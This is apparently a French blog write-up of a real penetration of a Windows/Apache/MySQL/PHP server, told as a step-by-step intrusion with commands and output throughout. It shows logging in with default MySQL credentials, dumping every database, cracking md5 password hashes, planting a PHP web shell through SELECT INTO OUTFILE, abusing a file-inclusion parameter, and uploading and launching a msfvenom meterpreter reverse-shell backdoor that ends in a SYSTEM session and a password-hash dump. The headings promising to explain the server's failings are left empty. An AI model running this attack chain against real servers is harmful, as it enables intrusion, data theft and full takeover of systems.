Je vais montrer comment j'ai pu réaliser une infiltration sur un serveur WAMP : “Windows+Apache+MySQL+PHP” .
Ce cas réel ne part d'aucune faille de sécurité, tel qu'on peut l'entendre généralement lorsqu'il s'agit de systèmes à l'abandon et dont les mises à jour de sécurité ne sont plus faites.
Non, ici, il s'agit d'un système en production, hébergeant divers services web, mais dont l'administration est défaillante sur plusieurs points.
Toutes ces petites fêlures me permettent d'escalader le système jusqu'à en prendre le contrôle total…
“Let's Go” pour une exploration en détails…
Après avoir siroté quelques cafés, je voyage dans les Internets tel Ziltoid dans l'espace-temps…
Ayant atterri dans un réseau local, je m’intéresse à un serveur web centralisant et hébergeant plusieurs services collaboratif.
Une première analyse me montre un serveur “WAMP”…
Pour la suite, je nommerai ce serveur “corporate.wtf.com” et son adresse IP sera “172.30.10.15” .
J'utilise « nmap » pour sonder les ports ouverts sur ce serveur :
$ nmap -v -A 172.30.10.15 ... PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.37 ((Win64) mod_fcgid/2.3.9) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.37 (Win64) mod_fcgid/2.3.9 |_http-title: Did not follow redirect to https://corporate.wtf.com/ ... 3306/tcp open mysql MySQL 5.6.27-log | mysql-info: | Protocol: 10 | Version: 5.6.27-log | Thread ID: 322939 | Capabilities flags: 63487 | Some Capabilities: InteractiveClient, Speaks41ProtocolOld, SupportsLoadDataLocal, FoundRows, SupportsTransactions, IgnoreSigpipes, LongColumnFlag, SupportsCompression, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, Support41Auth, Speaks41ProtocolNew, ODBCClient, DontAllowDatabaseTableColumn, LongPassword, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults | Status: Autocommit | Salt: s&`2v|0svvoJ`(E_3z3+ |_ Auth Plugin Name: 83 ...
Je relève qu'il s'agirait d'un serveur “Windows 64 bit”, et 2 services m'intéressent ici:
Les défaillances misent en évidence ici:
Sur le site « http://corporate.wtf.com
» , je constate la présence d'un service de “gestion de planning” qui renvoi sur une autre URL du même serveur, là :
http://booked.wtf.com/Web/index.php
Sur la page d'index de ce service , on peut lire sa version :
© 2016 Twinkle Toes Software Booked Scheduler v2.5.20
A partir de cette information, et dans l'idée d'examiner son fonctionnement, je récupère les sources du service :
$ git clone https://git.code.sf.net/p/phpscheduleit/2.5 phpscheduleit-2.5
Dans la configuration par défaut « phpscheduleit-2.5/config/config.dist.php » , on trouve les informations suivantes (extrait) :
/** * Database configuration */ $conf['settings']['database']['type'] = 'mysql'; $conf['settings']['database']['user'] = 'booked_user'; // database user with permission to the booked database $conf['settings']['database']['password'] = 'password'; $conf['settings']['database']['hostspec'] = '127.0.0.1'; // ip, dns or named pipe $conf['settings']['database']['name'] = 'bookedscheduler';
Je teste le « user » et « password » par défaut sur le serveur cible :
$ mysql -u booked_user -ppassword --host 172.30.10.15 -e "show databases" +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | phpscheduleit | +--------------------+
BINGO : L’identifiant par défaut fonctionne !
Les défaillances ici:
Voici la liste des comptes présent sur le service “MySQL” :
$ mysql -u booked_user -ppassword --host 172.30.10.15 -e "select Host,User,Password from mysql.user" +-----------+-------------+-------------------------------------------+ | Host | User | Password | +-----------+-------------+-------------------------------------------+ | localhost | root | *6491................................9F4E | | 127.0.0.1 | root | *6491................................9F4E | | ::1 | root | *6491................................9F4E | | % | booked_user | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 | | 127.0.0.1 | booked_user | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 | +-----------+-------------+-------------------------------------------+ $
(Je masque ci-dessus le « hash » du compte « root » uniquement)
Le compte « booked_user » a un accès total a toutes les bases :
$ mysql -u booked_user -ppassword --host 172.30.10.15 -e "SHOW GRANTS FOR 'booked_user'" +---------------------------------------------------------------------------------------------------------------------------------------+ | Grants for booked_user@% | +---------------------------------------------------------------------------------------------------------------------------------------+ | GRANT ALL PRIVILEGES ON *.* TO 'booked_user'@'%' IDENTIFIED BY PASSWORD '*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19' WITH GRANT OPTION | +---------------------------------------------------------------------------------------------------------------------------------------+
La défaillance ici:
Je récupère l'ensemble des bases :
$ mysqldump -u booked_user -ppassword --host 172.30.10.15 --all-databases | gzip -c > booked_phpscheduleit_wtf.sql.gz $
Les défaillances ici:
Grâce a des petits scripts et des logiciels comme “DirBuster” , je commence a étudier l'arborescence du site, et très vite, des fichiers intéressants sont découverts:
A la racine du site , je découvre un fichier “test.php
” qui exécute la fonction “phpinfo()
” :
http://corporate.wtf.com/test.php
Grâce a cela, je découvre quelques informations, et notamment :
_SERVER["SYSTEMROOT"] | C:/Windows |
_SERVER["SCRIPT_FILENAME"] | E:/WWW_Root/htdocs_corporate/test.php |
_SERVER["DOCUMENT_ROOT"] | E:/WWW_Root/htdocs_corporate |
La défaillance ici:
Encore à la racine du site , je découvre des “logs” d'erreurs sous forme de fichiers “.dat”.
http://corporate.wtf.com/errorslog.dat
Son contenu me sera utile plus loin.
La défaillance ici:
Entre autres choses, je trouve un fichier nommé “logins.dat
” de plus 15 ans d'âge, et contenant des logins avec les mots de passe “hashé” en “md5” …
Pas besoin de faire appel à “John” : 21 mots de passes (sur 22 présents) sont “craqués” immédiatement et simplement en passant par le site https://hashkiller.co.uk/md5-decrypter.aspx …
Et l'un des comptes me donne les pleins pouvoirs sur un service “IT Asset Management” pour la gestion du parc informatique …
La défaillance ici:
Passons.
J'ai d'abord essayé d'injecter un simple test en « php » en un point de l’arborescence où je peux lister le contenu du dossier, par exemple ici :
http://corporate.wtf.com/Communication/News/cal/
Grâce a « phpinfo() », j'en déduis que le répertoire associé est :
E:\WWW_Root\htdocs_corporate\Communication\News\cal
Je m'essaye à la création d’un petit script nommé « t.php » :
$ mysql -u booked_user -ppassword --host 172.30.10.15 phpscheduleit -B -e 'select "<?php phpinfo(); ?>" INTO OUTFILE "E:\WWW_Root\htdocs_corporate\Communication\News\cal\t.php"' ERROR 1290 (HY000) at line 1: The MySQL server is running with the --secure-file-priv option so it cannot execute this statement $
J'ai une erreur a cause d'une sécurité en place:
$ mysql -u booked_user -ppassword --host 172.30.10.15 phpscheduleit -B -e 'SHOW VARIABLES LIKE "secure_file_priv"'Variable_name Value secure_file_priv E:\\MySQL Datafiles\\Uploads\\
Le dossier “E:\MySQL Datafiles\Uploads
” est le seul pouvant recevoir des fichiers par l'intermédiaire de « MySQL » .
J'ai examiné un peu mieux le fonctionnement du site « corporate.wtf.com
» et j'ai finalement découvert une méthode pour forcer l'exécution de codes “php” depuis n'importe où sur le système.
D'abord, grâce aux informations contenus dans les fichiers de log d'erreurs découvert précédemment et que j'ai pu récupérer à la racine du site:
$ wget http://corporate.wtf.com/errorslog.dat
Dans le fichier “errorslog.dat
”, je trouve des liens construit comme ceci :
... Source : http://corporate.wtf.com/Communication/HR/Event/2015-11-10/index11.html ...
Sur le site en ligne , je vois aussi des liens formaté comme ça:
http://corporate.wtf.com/index.php?vol=Communication&rub=HR&art=Home
Après plusieurs tests de l'arborescence du site, je devine une construction comme suit:
/Communication/HR/Home.php
Je vérifie cette hypothèse simplement :
$ curl -I 'http://corporate.wtf.com/Communication' HTTP/1.1 301 ... $ curl -I 'http://corporate.wtf.com/Communication/HR' HTTP/1.1 301 ... $ curl -I 'http://corporate.wtf.com/Communication/HR/Home.php' HTTP/1.1 500 ...
Les dossiers existent, car je n'obtiens pas un code « 404
» (« Not Found
»).
Le fichier « Home.php
» existe aussi, mais mon accès direct (sans les bons arguments que je ne connais pas) génère ici une erreur fatale.
Donc, « vol
» et « rub
» sont des niveaux d'arborescences, et « art
» est le fichier « .php » a exécuter (sans ajouter l'extension).
Je peux vérifier cette hypothèse en effectuant la requête suivante :
$ curl 'http://corporate.wtf.com/?vol=.&rub=.&art=index'
Je constate alors que cette requête génère une pseudo-boucle infinie où l’index « index.php » s'appelle lui même…
Grâce a ma précédente découverte de la fonction « phpinfo() » dans « test.php », je constate aussi que la requête suivante fonctionne :
http://corporate.wtf.com/?vol=.&rub=.&art=test
Je peux vérifier en jouant avec les arguments « vol
» et « rub
» pour désigner un fichier « .php
» n'importe où sur le système:
http://corporate.wtf.com/?vol=E:\WWW_Root&rub=htdocs_corporate&art=test
Et “phpinfo()
” retourne (entre autres):
... _GET["vol"] E:\WWW_Root _GET["rub"] htdocs_corporate _GET["art"] test ...
Les défaillances misent en évidence ici:
Cette fois, je peux reprendre l'injection de fichiers « .php » , dans le « bon » dossier:
$ mysql -u booked_user -ppassword --host 172.30.10.15 phpscheduleit -B -e 'select "<?php phpinfo(); ?>" INTO OUTFILE "E:\\MySQL Datafiles\\Uploads\\t.php"'
Le fichier est déposé sans erreur.
Je peux maintenant tester et constater que j'ai exécuté ce script “t.php
”.
http://corporate.wtf.com/?vol=E:\\&rub=\\&art=MySQL%20Datafiles\\Uploads\\t
J'injecte un nouveau script nommé “t2.php
” pour faire un premier examen:
Ce script attend simplement une commande a exécuter en argument de la variable “cmd
”.
$ mysql -u booked_user -ppassword --host 172.30.10.15 phpscheduleit -B -e 'select "<?php system($_GET[''cmd'']); ?>" INTO OUTFILE "E:\\MySQL Datafiles\\Uploads\\t2.php"'
Avec la commande “dir
”, je liste la racine du site « corporate » :
$ curl 'http://corporate.wtf.com/?vol=E:\\&rub=\\&art=MySQL%20Datafiles\\Uploads\\t2&cmd=dir' ... ... Volume in drive C is Disk_E Volume Serial Number is 668F-570E Directory of E:\WWW_Root\htdocs_corporate 20..-..-.. 05:25 PM <DIR> . 20..-..-.. 05:25 PM <DIR> .. 20..-..-.. 05:14 PM <DIR> Applications 20..-..-.. 04:33 PM <DIR> Communication ... 2015-01-28 10:49 AM 2828 index.php 2011-12-19 11:36 AM 21 test.php ... 20..-..-.. 04:20 PM <DIR> _ 20..-..-.. 08:47 AM 3825957 errorslog.dat ...
(Ci-dessus, extrait de la commande “dir” largement charcuté a coup de “..” ou “…” .)
Et je constate que le service “PHP” fonctionne avec les droits « Administrateur » :
$ curl 'http://corporate.wtf.com/?vol=E:\\&rub=\\&art=MySQL%20Datafiles\\Uploads\\t2&cmd=whoami' ... nt authority\system ...
D’autres scripts « PHP » seront installés pour vérifier l'infiltration : je n'entrerais pas dans ces fouillisdétails techniques ici.
Les défaillances misent en évidence ici:
Petit rappel pour créer une « backdoor » grâce aux outils « metasploit » :
$ export PAYLOAD_X64=windows/x64/meterpreter/reverse_tcp $ export LHOST=172.30.x.x $ export LPORT=443 $ msfvenom -a "x64" --platform "windows" -p "$PAYLOAD_X64" LHOST="$LHOST" LPORT="$LPORT" -e x64/zutto_dekiru -i 9 -f exe-only > wtf.exe
(Ci-dessus, je cache ma propre adresse IP par « 172.30.x.x »)
Je transforme la « backdoor » en son expression en hexadécimal dans un fichier nommé ici « wtf_hex.txt » :
$ xxd -p wtf.exe | tr '[[:lower:]]' '[[:upper:]]' | tr -d '\n' > wtf_hex.txt
Et j'injecte la « backdoor » sur le serveur en utilisant les fonctionnalités de « MySQL », c’est à dire :
$ mysql --user=booked_user --password=password --host 172.30.10.15 phpscheduleit MySQL [phpscheduleit]> CREATE TEMPORARY TABLE IF NOT EXISTS foo ( id INT NOT NULL, payload BLOB NOT NULL ); Query OK, 0 rows affected (0.00 sec) MySQL [phpscheduleit]> LOAD DATA LOCAL INFILE "./wtf_hex.txt" INTO TABLE foo (@hexCol) SET id=0,payload=UNHEX(@hexCol); Query OK, 1 row affected (0.00 sec) Records: 1 Deleted: 0 Skipped: 0 Warnings: 0 MySQL [phpscheduleit]> SELECT payload FROM foo WHERE id=0 INTO DUMPFILE "E:\\MySQL Datafiles\\Uploads\\wtf.exe"; Query OK, 1 row affected (0.00 sec) MySQL [phpscheduleit]> DROP TABLE foo; Query OK, 0 rows affected (0.00 sec) MySQL [phpscheduleit]>
Ma « backdoor » « wtf.exe » est sur le serveur.
J'injecte enfin un nouveau script « php » pour démarrer cette « backdoor ».
$ mysql -u booked_user -ppassword --host 172.30.10.15 phpscheduleit -e 'select "<?php error_reporting(0); system(\"E:\\MySQL Datafiles\\Uploads\\wtf.exe\"); die(); ?>" INTO OUTFILE "E:\\MySQL Datafiles\\Uploads\\t7.php"'
Je prépare l'interaction avec « meterpreter » depuis une console « msfconsole » :
msf > use exploit/multi/handler msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp ... etc ...
Et puis je démarre ma « backdoor » sur le serveur « corporate ».
$ curl 'http://corporate.wtf.com/?vol=E:\\&rub=\\&art=MySQL%20Datafiles\\Uploads\\t7'
Du côté de « msfconsole » , je récupère la session :
msf4 exploit(multi/handler) > sessions 1 [*] Starting interaction with 1... meterpreter > getuid Server username: NT AUTHORITY\System meterpreter > sysinfo Computer : WTFWEB2 OS : Windows 2012 R2 (Build 9600). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 0 Meterpreter : x64/windows meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:d246........................7114::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: meterpreter >
(« hash ntlm » du compte « Administrateur » partiellement caché ici)
Voila: J'ai les pleins pouvoirs sur le serveur « corporate.wtf.com ».
Les défaillances misent en évidence ici: